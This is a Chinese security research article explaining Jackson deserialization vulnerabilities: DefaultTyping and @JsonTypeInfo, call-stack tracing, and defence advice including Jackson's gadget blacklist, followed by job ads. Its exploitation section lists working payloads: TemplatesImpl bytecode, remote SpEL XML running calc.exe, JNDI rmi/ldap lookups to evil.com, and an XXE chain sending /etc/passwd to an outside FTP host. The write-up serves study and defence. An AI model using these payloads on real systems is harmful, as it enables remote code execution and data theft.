声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
此类漏洞在前期数次大型红蓝对抗活动中影响巨大,是很多单位的重要突破口之一,所以我们给出一个完整的分析与防御手段建议。
介绍
Java的生态圈中有很多处理JSON的类库,比较常见的有fastjson、jackson、gson等,按照使用者的说法Jackson的速度是最快的,我们可以看看正常的Jackson写法。
import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Hello {
public static void main(String[] args){
Student stu = new Student();
stu.name="l1nk3r";
stu.age=100;
ObjectMapper mapper = new ObjectMapper();
try {
String json=mapper.writeValueAsString(stu);
System.out.println(json);
//{"age":100,"name":"l1nk3r"}
Student stu1 = mapper.readValue(json,Student.class);
System.out.println(stu1);
//age=100, name=l1nk3r
} catch (JsonProcessingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}}class Student{
public int age;
public String name;
@Override
public String toString() {
return String.format("age=%d, name=%s", age, name);
}}
特殊的机制
首先Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定。从文档中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。
01 |
DefaultTyping |
从上面那份文档来看,在这个方式里面一种有4个值。
JAVA_LANG_OBJECT: only affects properties of type Object.class
OBJECT_AND_NON_CONCRETE: affects Object.class and all non-concrete types (abstract classes, interfaces)
NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or Object.class)
NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types.
当然在代码里面也是一样的。
下面其实可以分别看看这四个值的作用是什么。
(1)JAVA_LANG_OBJECT
JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。
例如下面的代码,我们给 People 里添加一个 Object object 。
package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
p.object = new l1nk3r();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd
}}class People {
public int age;
public String name;
public Object object;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}}class l1nk3r {
public int length = 100;}
所以按照上面的描述那么输出的序列化json信息中应该携带了相关的类的信息,而在反序列化的时候自然会进行还原。
(2)OBJECT_AND_NON_CONCRETE
OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。
例如下面的代码,这次我们添加名为 Sex 的 interface ,发现它被正确序列化、反序列化了,就是这个选项控制的。
package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
p.object = new l1nk3r();
p.sex=new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String json = mapper.writeValueAsString(p);
System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
}}class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}}class l1nk3r {
public int length = 100;}class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}}interface Sex {
public void setSex(int sex);
public int getSex();}
默认的、无参的 enableDefaultTyping 是 OBJECT_AND_NON_CONCRETE 。
(3)NON_CONCRETE_AND_ARRAYS
NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。
例如下面的代码,我们的Object里存放l1nk3r的数组。
package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
l1nk3r[] l1nk3rs= new l1nk3r[2];
l1nk3rs[0]=new l1nk3r();
l1nk3rs[1]=new l1nk3r();
p.object = l1nk3rs;
p.sex=new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Lcom.l1nk3r.jackson.l1nk3r;",[{"length":100},{"length":100}]],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);//age=10, name=com.l1nk3r.jackson.l1nk3r, [Lcom.l1nk3r.jackson.l1nk3r;@1e127982
}}class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}}class l1nk3r {
public int length = 100;}class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}}interface Sex {
public void setSex(int sex);
public int getSex();}
(4)NON_FINAL
NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
例如下面的代码,添加了类型为l1nk3r的变量,非Object也非虚,但也可以被序列化出来。
package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "l1nk3r";
p.object = new l1nk3r();
p.sex=new MySex();
p.l1nk3r=new l1nk3r();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(p);
System.out.println(json);//["com.l1nk3r.jackson.People",{"age":10,"name":"l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}],"l1nk3r":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}]
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);//age=10, name=l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
}}class People {
public int age;
public String name;
public Object object;
public Sex sex;
public l1nk3r l1nk3r;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex,
l1nk3r == null ? "null" : l1nk3r);
}}class l1nk3r {
public int length = 100;}class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}}interface Sex {
public void setSex(int sex);
public int getSex();}
02 |
@JsonTypeInfo注解 |
@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)
下面使用一段测试代码可以看看这五个类型的分别作用。
package com.l1nk3r.jackson;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Jsontypeinfo {
public static void main(String[] args) throws IOException {
ObjectMapper mapper= new ObjectMapper();
User user = new User();
user.name= "l1nk3r";
user.age=100;
user.obj=new Height();
String json = mapper.writeValueAsString(user);
System.out.println(json);
}}class User{
public String name;
public int age;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object obj;
public String toString(){
return "name:" + name + " age:" + age + " obj:" + obj;
}}class Height{
public int h = 100;}
(1)Id.NONE
这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。
{"name":"l1nk3r","age":100,"obj":{"h":100}}
(2)Id.CLASS
这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}}
(3)Id.MINIMAL_CLASS
这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}}
(4)Id.NAME
这种输出方式没有携带类名字,在反序列化时也是不可以利用的。
{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}}
(5)Id.COSTOM
这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。
03 |
小结 |
所以按照上述分析,3种情况下可以触发Jackson反序列化漏洞
1、enableDefaultTyping()
2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
3、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
解析流程
01 |
DefaultTyping |
测试代码
package com.l1nk3r.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json="{"age":10,"name":"l1nk3r","sex":["com.l1nk3r.jackson.MySex",{"sex":100}]}";
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
}}class People {
public int age;
public String name;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
}}class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}}interface Sex {
public void setSex(int sex);
public int getSex();}
这里先选择在 MySex 构造函数上下个断点,因为在payload有这么一个类com.l1nk3r.jackson.MySex的调用,下面是调用栈。
<init>:35, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:61, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:20, JavaLangObject (com.l1nk3r.jackson)
这里首先研究一下,它是如何找到我们调用的类:com.l1nk3r.jackson.MySex,前面几个没什么好看的,我选择在com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize这里下断点:
public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
{
// common case first
if (p.isExpectedStartObjectToken()) {
if (_vanillaProcessing) {
return vanillaDeserialize(p, ctxt, p.nextToken());
}
进入到 AsArrayTypeDeserializer#_deserialize ,我关注到下面这个代码,这个代码根据typeId寻找反序列化。
_findDeserializer 方法,在最后返回之前使用put处理typeId和deser。最后return deser中的相关对象。
然后又回到了 AsArrayTypeDeserializer#_deserialize 中,继续调用 BeanDeserializer#deserialize 来进行处理,这里 _vanillaProcessing=true ,所以这里调用 BeanDeserializer#vanillaDeserialize 。
而在 BeanDeserializer#vanillaDeserialize 里面又开始调用 StdValueInstantiator#createUsingDefault 寻找类。
并使用 AnnotatedConstructor#call 通过反射来处理这个找到的类。
public final Object call() throws Exception {
return _constructor.newInstance();
}
而在setter上下断点之后主要是在 MethodProperty#deserializeAndSet ,通过反射调用相关setter方法。
所以解析过程应该是如下图所示:
其中 BeanDeserializerBase#vanillaDeserialize 中有两个关键点:
1、StdValueInstantiator#createUsingDefault 方法负责调用 AnnotatedConstructor#call 中call方法,然后通过反射方式来寻找我们从json中输入的类。
2、MethodProperty#deserializeAndSet 方法负责寻找相关setter设置,这里也是通过invoke反射的方式。
02 |
JsonTypeInfo |
package com.l1nk3r.jackson;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();
String json="{"sex":{"@class":"com.l1nk3r.jackson.MySex","sex":20}}";
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
}}class People {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
}}class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}}interface Sex {
public void setSex(int sex);
public int getSex();}
在 class MySex 下断点,发现调用栈和使用 DefaultTyping 的时候是一致。
<init>:37, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)
所以这里反面也验证了,enableDefaultTyping和@JsonTypeInfo这两种情况都有可能触发Jackson反序列化漏洞。
利用方式
01 |
TemplatesImpl |
payload
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evilCode = readClass("Calc.class");
final String JSON = aposToQuotes(
"{"
+ " 'obj':[ '" + NASTY_CLASS + "',n"
+ " {n"
+ " 'transletBytecodes' : [ '" + evilCode + "' ],n"
+ " 'transletName' : 'a.b',n"
+ " 'outputProperties' : { }n"
+ " }n"
+ " ]n"
+ "}"
);
分析
最早出现的Jackson漏洞利用方式应该是这个,按照上面的逻辑跟进分析整个过程 createUsingDefault 通过反射的方式寻找我们的输入的利用类。
然后 deserializeAndSet ,调用相关setter方法设置相关值。但是这个方法在这里使用有一点点不太一样。首先在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中是没有找到 setOutputProperties 。但是却找到了这个方法其getter方法 getOutputProperties ,所以这里的 deserializeAndSet 是 SetterlessProperty 这个类中的方法,而这个方法实际是寻找相关getter。
public final void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
JsonToken t = p.getCurrentToken();
if (t != JsonToken.VALUE_NULL) {
if (this._valueTypeDeserializer != null) {
ctxt.reportMappingException("Problem deserializing 'setterless' property ("%s"): no way to handle typed deser with setterless yet", new Object[]{this.getName()});
}
Object toModify;
try {
toModify = this._getter.invoke(instance);
} catch (Exception var7) {
this._throwAsIOE(p, var7);
return;
}
if (toModify == null) {
throw JsonMappingException.from(p, "Problem deserializing 'setterless' property '" + this.getName() + "': get method returned null");
} else {
this._valueDeserializer.deserialize(p, ctxt, toModify);
}
}
}
这里和 fastjson 做个对比,Fastjson中使用parseObject()的过程最后会Json.tojson(),调用属性的getter方法,但是在Jackson的反序列化过程中不会默认调用getter方法,那么接下来的调用方法就很简单了。
下图是 defineTransletClasses 在 左边jdk1.7.0_25 和 右边jdk1.8.0_181 ,实际测试来看没办法在 jdk1.8.0_181 上运行。
由于我们的payload是没有携带 _tfactory 字段。
"{"
+ " 'obj':[ '" + NASTY_CLASS + "',n"
+ " {n"
+ " 'transletBytecodes' : [ '" + evilCode + "' ],n"
+ " 'transletName' : 'a.b',n"
+ " 'outputProperties' : { }n"
+ " }n"
+ " ]n"
+ "}"
我们将 _tfactory 字段补齐,发现还是不行,原因是出在了jackson上,在 BeanPropertyMap 中SettableBeanProperty find 的时候没有获取 _tfactory 的结果。
但是这个payload在 1.8.0_40 上是ok的。
深入看 1.8.0_40 的 defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响jdk1.8以上哪些版本需要详细测试一下。
02 |
FileSystemXmlApplicationContext |
payload
["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]
分析
首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)
在这个地方下一个断点
org/springframework/context/support/FileSystemXmlApplicationContext.class
通过idea可以通过 diagrams 的 Show Diagram Popup 查看类与接口之间的继承关系。
在 beanFactory 中有 getBean 的构造方法
而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。
我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化,以及反射机制进入到了 getBean 方法,并且获取到了这个 name 为pb的方法。
在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点,我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe 。
这里看一下 evaluate 方法的实现。
然后会继续解析 #{ pb.start() } ,对 #{ pb.start() } 进行spel操作。
当解析完 pb.start 操作后就会命令执行。
03 |
MiniAdmin |
payload
"["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://X.X.X.X:3306/db"]";
分析
首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)
这个漏洞利用的是mysql的一个特性,mysql的load data local允许将本地文件中的数据插入到相关数据库的表中,而在mysql的驱动中,默认的值是true,允许读取本地文件,直到 8.0.15 版本之后在做了修改。
04 |
Other |
由于payload太多了,这里简单总结一下其他的,不做一一具体分析了,当然还有更多,大家也可以看看这个项目。
["org.springframework.context.support.GenericGroovyApplicationContext", " ""http://127.0.0.1:8000/spel.xml"]
"["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"rmi://localhost:1099/Exploit","loginTimeout":0}]"
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]
"['org.apache.openjpa.ee.RegistryManagedRuntime', "
+"{'registryName':'ldap://127.0.0.1:1389/Test1', 'rollbackOnly': null}]"
"['org.apache.openjpa.ee.JNDIManagedRuntime',"
+"{'transactionManagerName':'ldap://evil.com:1389/Test1', 'rollbackOnly': null}]";
"['org.apache.axis2.transport.jms.JMSOutTransportInfo', 'jms:/ldap://evil.com:1389/Test1']";
XXE:
//payload
"["org.jdom2.transform.XSLTransformer","http://aliyun.nudtcat.org:84/ftp5.xml"]"
//XXE<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://aliyun.nudtcat.org:84/dtd.php">%asd;%c;]><cdl>&rrr;</cdl>//DTD
<?php
echo '<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://aliyun.nudtcat.org:2121/%d;'>">';
黑名单
这是截止到目前的黑名单,当然这种黑名单机制的黑名单只能更多不可能更少。
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9)
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");
// [databind#2387]: EHCache
s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");
防御方案建议
1、将json类库升级至最新版。
2、采用第三方防护产品(waf、云waf等)在应用层进行防护。
后话
jackson漏洞的利用方式在fastjson上大部分都能兼容,如果使用jackson且防止反序列化漏洞的话,一方面可能需要升级最新jackson的组件版本,另一方面尽量避免使用Object对象作为Jackson反序列化的目标。
当然也可以考虑一下Jackson-dababind(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。
招聘启事
雷神众测SRC运营(实习生)
————————
工作地点:杭州(总部)、广州、成都、上海、北京
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
【任职要求】
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
雷神众测白帽运营(实习生)
————————
工作地点:杭州(总部)、广州、成都、上海、北京
【岗位职责】
1.准确了解白帽子爱好,发掘白帽子需求
2.负责各类周边、礼物的挑选与采购
3.对黑客文化有深刻认知
4.维护白帽关系
【任职要求】
1.具有良好的审美眼光
2.具备定制礼品礼物经验
3.较强的沟通以及协调能力
4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神
【加分项】
1、具备美术功底、懂得设计美化等
2、有互联网运营经验
简历投递至 [email protected]
设计师
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 [email protected]
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3.熟悉OWASP TOP 10常见WEB安全漏洞原理;
